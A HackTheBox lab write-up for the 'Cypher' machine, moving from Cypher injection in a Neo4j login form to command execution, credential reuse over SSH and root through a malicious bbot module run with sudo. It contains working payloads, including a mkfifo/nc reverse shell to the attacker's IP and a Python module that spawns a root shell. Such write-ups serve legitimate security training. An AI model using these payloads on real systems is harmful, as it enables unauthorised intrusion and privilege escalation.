Post

HTB - Writeup - Cypher

banner

Cypher machine on HachTheBox is rated as medium difficulty. Initial access is achieved through a Neo4j Cypher injection by leveraging APOC procedures. During enumeration, a file containing credentials is discovered, which are reused by another user to progress further. Privilege escalation is accomplished via a utility executable with sudo privileges, which contains a vulnerability that enables the execution of a Python module, ultimately granting root access.

Info

NameCypher
OSLinux
DifficultyMedium 🟠

Port scanning

We start by discovering which services are exposed by the target.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/Documents/HTB/cypher]
└─$ nmap -sC -sV cypher.htb    
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-20 09:04 EDT
Nmap scan report for cypher.htb (10.129.231.244)
Host is up (0.035s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: GRAPH ASM
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.60 seconds

Initial foothold

alt text

Running dirsearch we found a couple of interesting endpoints (api and testing)

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Documents/HTB/cypher]
└─$ dirsearch -u http://cypher.htb/     

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist 
...
[09:06:49] 307 -    0B  - /api/  ->  http://cypher.htb/api/api
...                              
[09:07:32] 301 -  178B  - /testing  ->  http://cypher.htb/testing/          
                                                                             
Task Completed

Navigating to testing directory reveals a directory listing that contains a .jar file

alt text

We download file and unpack its contents to examine what’s inside.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(kali㉿kali)-[~/Documents/HTB/cypher]
└─$ wget http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar         
...
2025-08-20 09:10:55 (777 KB/s) - ‘custom-apoc-extension-1.0-SNAPSHOT.jar’ saved [6556/6556]

┌──(kali㉿kali)-[~/Documents/HTB/cypher]
└─$ unzip custom-apoc-extension-1.0-SNAPSHOT.jar 
Archive:  custom-apoc-extension-1.0-SNAPSHOT.jar
   creating: META-INF/
  inflating: META-INF/MANIFEST.MF    
   creating: com/
   creating: com/cypher/
   creating: com/cypher/neo4j/
   creating: com/cypher/neo4j/apoc/
  inflating: com/cypher/neo4j/apoc/CustomFunctions$StringOutput.class  
  inflating: com/cypher/neo4j/apoc/HelloWorldProcedure.class  
  inflating: com/cypher/neo4j/apoc/CustomFunctions.class  
  inflating: com/cypher/neo4j/apoc/HelloWorldProcedure$HelloWorldOutput.class  
   creating: META-INF/maven/
   creating: META-INF/maven/com.cypher.neo4j/
   creating: META-INF/maven/com.cypher.neo4j/custom-apoc-extension/
  inflating: META-INF/maven/com.cypher.neo4j/custom-apoc-extension/pom.xml  
  inflating: META-INF/maven/com.cypher.neo4j/custom-apoc-extension/pom.properties 

From the extracted files, we can tell this is a Java application connected to a Neo4j database. Two files of interest — HelloWorldProcedure.class and CustomFunctions.class - are decompiled to investigate further.

HelloWorldProcedure.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.cypher.neo4j.apoc;

import java.util.stream.Stream;
import org.neo4j.procedure.Description;
import org.neo4j.procedure.Mode;
import org.neo4j.procedure.Name;
import org.neo4j.procedure.Procedure;

public class HelloWorldProcedure {
   @Procedure(
      name = "custom.helloWorld",
      mode = Mode.READ
   )
   @Description("A simple hello world procedure")
   public Stream<com.cypher.neo4j.apoc.HelloWorldProcedure.HelloWorldOutput> helloWorld(@Name("name") String name) {
      String greeting = "Hello, " + name + "!";
      return Stream.of(new com.cypher.neo4j.apoc.HelloWorldProcedure.HelloWorldOutput(greeting));
   }
}

CustomFunctions.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.cypher.neo4j.apoc;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.concurrent.TimeUnit;
import java.util.stream.Stream;
import org.neo4j.procedure.Description;
import org.neo4j.procedure.Mode;
import org.neo4j.procedure.Name;
import org.neo4j.procedure.Procedure;

public class CustomFunctions {
   @Procedure(
      name = "custom.getUrlStatusCode",
      mode = Mode.READ
   )
   @Description("Returns the HTTP status code for the given URL as a string")
   public Stream<com.cypher.neo4j.apoc.CustomFunctions.StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
      if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
         url = "https://" + url;
      }

      String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
      System.out.println("Command: " + Arrays.toString(command));
      Process process = Runtime.getRuntime().exec(command);
      BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
      BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
      StringBuilder errorOutput = new StringBuilder();

      String line;
      while((line = errorReader.readLine()) != null) {
         errorOutput.append(line).append("\n");
      }

      String statusCode = inputReader.readLine();
      System.out.println("Status code: " + statusCode);
      boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
      if (!exited) {
         process.destroyForcibly();
         statusCode = "0";
         System.err.println("Process timed out after 10 seconds");
      } else {
         int exitCode = process.exitValue();
         if (exitCode != 0) {
            statusCode = "0";
            System.err.println("Process exited with code " + exitCode);
         }
      }

      if (errorOutput.length() > 0) {
         System.err.println("Error output:\n" + errorOutput.toString());
      }

      return Stream.of(new com.cypher.neo4j.apoc.CustomFunctions.StringOutput(statusCode));
   }
}

From those we can extract info that there are a couple of API endpoints accepting an argument:

  • custom.helloWorld (name)
  • custom.getUrlStatusCode (url)

The second one looks really promising as url gets straight concatenated into a string part of an sh command that gets then executed as a Process:

1
2
3
String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
System.out.println("Command: " + Arrays.toString(command));
Process process = Runtime.getRuntime().exec(command);

Since we need a way to trigger the custom code, we look at the /login endpoint—the only other exposed part of the application. With BurpSuite, we capture the login request and send it to Repeater for testing.

alt text

Injecting a single quote into the username parameter triggers a Neo4j Cypher query error in the stack trace. This behavior confirms the parameter as a potential injection point for Cypher-based attacks.

alt text

Since I’m not very experienced with Cypher injection… had to read some documentation about that. Specifically the ‘Parameters and APOC’ section, gets interesting as it coincidentally matches the .jar library we found.

After some trial and error, we got a payload for executing APOC methods that does not give an error for custom.helloWorld endpoint

1
a' RETURN h.value as hash UNION CALL custom.helloWorld('a') YIELD greeting RETURN greeting as hash; //

alt text

Next, we focus on the custom.getUrlStatusCode method we spotted earlier. If exploitable, it can give us our first foothold on the box. After some testing, we craft a payload that spawns a reverse shell back to our attacking machine.

1
a' RETURN h.value as hash UNION CALL custom.getUrlStatusCode ('http://10.10.14.217:5555; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.217 4444 >/tmp/f') YIELD statusCode RETURN statusCode as hash; //

First part of the payload (http://10.10.14.217:5555) is used to complete the command. the second part after ; is the actual payload triggering the reverse shell. See how it will be the resulting command

1
/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} http://10.10.14.217:5555; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.217 4444 >/tmp/f

To execute the reverse shell, two listeners are initiated on the attacker machine: the first on port 5555 and the second on port 4444, which receives the shell connection. After triggering the payload via the 5555 listener, a connection is established on 4444, granting access as the neo4j user.

alt text

But there’s a different user on the machine called graphasm

1
2
3
4
5
6
7
8
9
10
11
neo4j@cypher:/home$ ls
ls
graphasm
neo4j@cypher:/home$ cd graphasm
cd graphasm
neo4j@cypher:/home/graphasm$ ls
ls
bbot_preset.yml  user.txt
neo4j@cypher:/home/graphasm$ cat user.txt
cat user.txt
cat: user.txt: Permission denied

and also file on graphasm user called bbot_preset.yml has some credentials in it

1
2
3
4
5
6
7
8
9
10
11
12
neo4j@cypher:/home/graphascat bbot_preset.yml
cat bbot_preset.yml
targets:
  - ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
  modules:
    neo4j:
      username: neo4j
      password: <--REDACTED-->

We give it a shot for ‘credential reuse’ using SSH with graphasm user and it worked

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/…/com/cypher/neo4j/apoc]
└─$ ssh [email protected] 
...
graphasm@cypher:~$ whoami
graphasm
graphasm@cypher:~$ cat user.txt
e8<--REDACTED-->

Privilege escalation

Executing sudo -l revelas we can execute /usr/local/bin/bbot binary as super user without using any password.

1
2
3
4
5
6
7
graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot

By using --help command on bbot tool we can see it is using version v2.1.0.4939rc

1
2
3
4
5
6
7
8
9
graphasm@cypher:~$ /usr/local/bin/bbot --help
  ______  _____   ____ _______
 |  ___ \|  __ \ / __ \__   __|
 | |___) | |__) | |  | | | |
 |  ___ <|  __ <| |  | | | |
 | |___) | |__) | |__| | | |
 |______/|_____/ \____/  |_|
 BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
...

While exploring, we found that bbot is an OSINT tool hosted on Github but also that this concrete version has a reported vulnerability as shown on Seclists

Seems that bbot allows to run python code as a module. So we can create required module files for executing /bin/bash -p and escalate privileges through that

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
graphasm@cypher:~$ vim systeminfo_enum.py
graphasm@cypher:~$ cat systeminfo_enum.py
from bbot.modules.base import BaseModule
import pty
import os

class systeminfo_enum(BaseModule):
    watched_events = []
    produced_events = []
    flags = ["safe", "passive"]
    meta = {"description": "System Info Recon (actually spawns root shell)"}

    async def setup(self):
        self.hugesuccess("📡 systeminfo_enum setup called — launching shell!")
        try:
            pty.spawn(["/bin/bash", "-p"])
        except Exception as e:
            self.error(f"❌ Shell failed: {e}")
        return True
graphasm@cypher:~$ vim bbot_preset.yml 
graphasm@cypher:~$ cat bbot_preset.yml 
targets:
  - ecorp.htb

output_dir: /home/graphasm/bbot_scans

module_dirs:
  - .
modules:
  - systeminfo_enum

By running the command with sudo payload gets executed, we gain root privileges and can read root.txt file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
graphasm@cypher:~$ sudo /usr/local/bin/bbot -p ./bbot_preset.yml --event-types ROOT
  ______  _____   ____ _______
 |  ___ \|  __ \ / __ \__   __|
 | |___) | |__) | |  | | | |
 |  ___ <|  __ <| |  | | | |
 | |___) | |__) | |__| | | |
 |______/|_____/ \____/  |_|
 BIGHUGE BLS OSINT TOOL v2.1.0.4939rc

www.blacklanternsecurity.com/bbot

[INFO] Scan with 1 modules seeded with 0 targets (0 in whitelist)
[INFO] Loaded 1/1 scan modules (systeminfo_enum)
[INFO] Loaded 5/5 internal modules (aggregate,cloudcheck,dnsresolve,excavate,speculate)
[INFO] Loaded 5/5 output modules, (csv,json,python,stdout,txt)
[SUCC] systeminfo_enum: 📡 systeminfo_enum setup called — launching shell!
root@cypher:/home/graphasm# whoami
root
root@cypher:/home/graphasm# cat /root/root.txt
51<--REDACTED-->

This post is licensed under CC BY 4.0 by the author.

Trending Tags